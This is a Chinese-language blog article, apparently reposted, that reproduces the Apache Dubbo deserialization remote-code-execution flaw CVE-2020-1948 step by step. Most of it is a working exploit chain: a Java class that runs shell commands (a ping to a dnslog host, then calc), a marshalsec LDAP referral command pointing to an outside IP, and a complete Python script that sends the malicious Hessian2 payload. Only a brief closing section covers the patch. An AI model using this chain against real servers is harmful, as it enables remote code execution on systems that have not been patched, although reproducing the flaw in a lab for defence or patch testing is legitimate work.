首頁 > 運維 > 安全 > 怎麼進行Apache Dubbo反序列化漏洞的分析

怎麼進行Apache Dubbo反序列化漏洞的分析

WBOY
發布: 2023-05-17 16:01:22
轉載
1075 人瀏覽過

簡介

Dubbo是阿里巴巴公司開源的一個高效能優秀的服務框架,使得應用可透過高效能的RPC實現服務的輸出和輸入功能,可以和Spring框架無縫整合。該系統具備三項核心功能,包括遠端介面方法呼叫、智慧容錯和負載平衡,以及服務的自動註冊和發現。

概述

2020年06月23日, Apache Dubbo 官方發布了Apache Dubbo 遠端程式碼執行的風險通告,該漏洞編號為CVE-2020-1948,漏洞等級:高風險。 Apache Dubbo是一款高效能、輕量級的開源Java RPC框架,它提供了三大核心能力:面向介面的遠端方法調用,智慧容錯和負載平衡,以及服務自動註冊和發現。 Apache Dubbo Provider存在反序列化漏洞,攻擊者可以透過RPC請求發送無法識別的服務名稱或方法名稱以及一些惡意參數有效載荷,當惡意參數被反序列化時,可以造成遠端程式碼執行。

影響版本

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (官方不再維護)

環境搭建

運作環境與編譯exp環境jdk版本皆為8u121,啟動測試環境

java -jar dubbo.jar
登入後複製


啟動後會監聽12345埠

#漏洞重現

服務指紋:


PORT      STATE SERVICE VERSION12345/tcp opentextui  Alibaba Dubbo remoting telnetd
登入後複製

建構poc,我們這裡執行一個ping指令來驗證是否可以執行指令,新calc.java,

importjavax.naming.Context;
importjavax.naming.Name;
importjavax.naming.spi.ObjectFactory;
importjava.util.Hashtable;
publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");
returnnull;
}}
登入後複製


編譯poc

javac calc.java
登入後複製


#將編譯好的poc(calc.class)放到web網站目錄裡,確保漏洞主機可以存取到使用marshalsec專案啟動一個ldap代理服務,marshalsec下載:

https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
登入後複製


啟動LDAP代理服務,執行該指令ldap服務會監聽8086埠


#
 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
登入後複製


執行測試腳本,此處測試使用python環境為3.8.0,先安裝依賴套件

python3 -m pip install dubbo-py
登入後複製


#腳本內容(Dubbo.py):

# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print(&#39;Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL&#39;.format(sys.argv[0]))print(&#39;\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp&#39;.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object(&#39;com.sun.rowset.JdbcRowSetImpl&#39;,dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object(&#39;java.lang.Class&#39;,name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object(&#39;com.rometools.rome.feed.impl.ToStringBean&#39;,beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl  )resp =client.send_request_and_return_response(service_name=&#39;org.apache.dubbo.spring.boot.sample.consumer.DemoService&#39;,# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name=&#39;$invoke&#39;,args=[toStringBean])output =str(resp)if&#39;Fail to decode request due to: RpcInvocation&#39;inoutput:print(&#39;[!] Target maybe not support deserialization.&#39;)elif&#39;EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()&#39;inoutput:print(&#39;[+] Succeed.&#39;)else:print(&#39;[!] Output:&#39;)print(output)print(&#39;[!] Target maybe not use dubbo-remoting library.&#39;)
登入後複製


#執行腳本

python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
登入後複製


怎么进行Apache Dubbo反序列化漏洞的分析 dnslog查看,成功接收到請求怎么进行Apache Dubbo反序列化漏洞的分析

ldap服務也可以看到請求轉送怎么进行Apache Dubbo反序列化漏洞的分析

彈計算器

import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;  public class calc implements ObjectFactory {      @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {        Runtime.getRuntime().exec("calc");        return null;    } }
登入後複製

漏洞修復

升級2.7.7 版本,並根據以下連結的方法進行參數校驗

https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
# #更換協議以及反序列化方式。

以上是怎麼進行Apache Dubbo反序列化漏洞的分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

相關標籤:
來源:yisu.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板